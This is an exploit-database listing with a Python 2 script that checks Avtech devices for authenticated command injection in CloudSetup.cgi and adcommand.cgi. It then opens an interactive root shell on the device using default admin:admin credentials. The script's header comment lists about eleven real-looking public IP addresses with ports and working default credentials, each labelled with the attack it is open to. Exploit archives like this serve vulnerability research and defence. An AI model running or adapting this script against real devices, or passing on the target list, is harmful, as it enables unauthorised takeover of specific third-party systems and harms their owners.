Avtech Devices Remote Command Execution(Python)

2018.12.29
us SajjadBnz (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python # -*- coding: utf-8 -*- #http://91.185.152.64:8080 admin:admin | adcommand command injection & cloud command #injection #http://2.182.237.138 admin:1234 | Brute Force #http://93.197.42.48:88 admin:admin | cloud command injection #http://183.88.176.217:2375 admin:admin | Adcommand & cloud command injection #http://171.96.204.181:9002 admin:admin | Brute Force #http://183.89.46.157:8834 admin:admin | Brute Force #http://180.183.81.30:7657 admin:admin | Brute Force #http://119.76.8.203:81 admin:admin | adcommand command injection #http://183.89.46.157:8001 admin:admin | Brute Force #http://73.14.108.80:88 admin:admin | Brute Force #http://58.11.226.8:8800 admin:admin | adcommand command injection import os import requests as req import random import re def ban(): print "######################################################" print "--> Title : Avtech Devices Remote Command Execution(Python)" print "--> Credit : SajjadBnz" print "--> Vendor : http://www.avtech.com.tw/" print "--> My Email : blackwolf@post.com" print "--> Tested On : Ubuntu 18.04.1 LTS" print "--> Default User:Pass : admin:admin" print "--> References : https://www.exploit-db.com/exploits/40500\n\n" def clearing(): linux = 'clear' windows = 'cls' os.system([linux, windows][os.name == 'nt']) cl = '' clw = 'color a' os.system([cl, clw][os.name == 'nt']) def main(): global ip,port,payload,head payload = ["/cgi-bin/supervisor/CloudSetup.cgi?exefile=","/cgi-bin/supervisor/adcommand.cgi"] head = {"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0"} try: global flag,exp,exp1 flag = 0 exp = '' exp1 = '' ip = raw_input('[*] IP Address : ') port = raw_input('[*] Port : ') testCon = "http://"+ip+":"+port print "[!] Checking Connection ..." r = req.get(testCon,timeout=20) pr = req.codes.ok if pr == 200: print "[+]",pr,"ok" else: print "-",pr," GoodBye!" except req.exceptions.RequestException as e: print "[Network Error]\n\n",e raise SystemExit except KeyboardInterrupt: print "\n\n[+] Ctrl+c Detected ! ¯\_(ツ)_/¯\n[-] GoodBye!\n" raise SystemExit for x in payload: shell = "http://"+ip+":"+port+x if flag == 0: flag = 1 r = req.get(shell,headers=head,auth=('admin', 'admin'),timeout=20) content = r.text if (re.findall('-3',content) or re.findall('-35',content) or re.findall('401',content) or re.findall('-9',content) or re.findall('403',content) or re.findall('File not found',content)): print "\n[-] CloudSetup.cgi Not vulnerable !" else: print "\n[+] Vulnerable !" print "[+] Authenticated command injection in CloudSetup.cgi\n" exp = 0 else: pos = 'DoShellCmd "strCmd=&"' r1 = req.post(shell,headers=head,auth=('admin', 'admin'),data=pos,timeout=20) content = r1.text if (re.findall('-3',content) or re.findall('-35',content) or re.findall('401',content) or re.findall('-9',content) or re.findall('403',content) or re.findall('File not found',content)): print "[-] adcommand.cgi Not vulnerable !\n" else: print "\n[+] adcommand.cgi Vulnerable !" print "[+] Authenticated command injection in adcommand.cgi\n" exp1 = 1 if exp1 == 1 and exp == 0: print "\n[+] Vulnerabilites : " print "[+] Authenticated command injection in CloudSetup.cgi" print "[+] Authenticated command injection in adcommand.cgi\n" exp1 = 0 print "[+] Using CloudSetup.cgi\n" exploit() elif exp == 0: print "[+] Using CloudSetup.cgi\n" exploit() elif exp1 == 1: print "[+] Using Adcommand.cgi\n" exploit() else: raise SystemExit def exploit(): print "[+] got root? :) - use 'exit' to exit" print "-------------------------------------" try: while True: c1 = raw_input('root@AvTech: ') if c1 == "exit" or c1 == "Exit": print "\n[+] ¯\_(ツ)_/¯ Have a nice day !\n" raise SystemExit if exp1 == 1: pos = 'DoShellCmd "strCmd=%s&"' % c1 shell = "http://"+ip+":"+port+payload[exp1] r = req.post(shell,headers=head,auth=('admin', 'admin'),data=pos,timeout=20) print r.text else: shell = "http://"+ip+":"+port+payload[exp]+c1 r = req.get(shell,headers=head,auth=('admin', 'admin'),timeout=20) print r.text except KeyboardInterrupt: print "\n\n[+] Ctrl+c Detected ! ¯\_(ツ)_/¯\n[-] Good Bye!\n" raise SystemExit if __name__ == '__main__': clearing() ban() main()

References:

https://www.exploit-db.com/exploits/40500


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top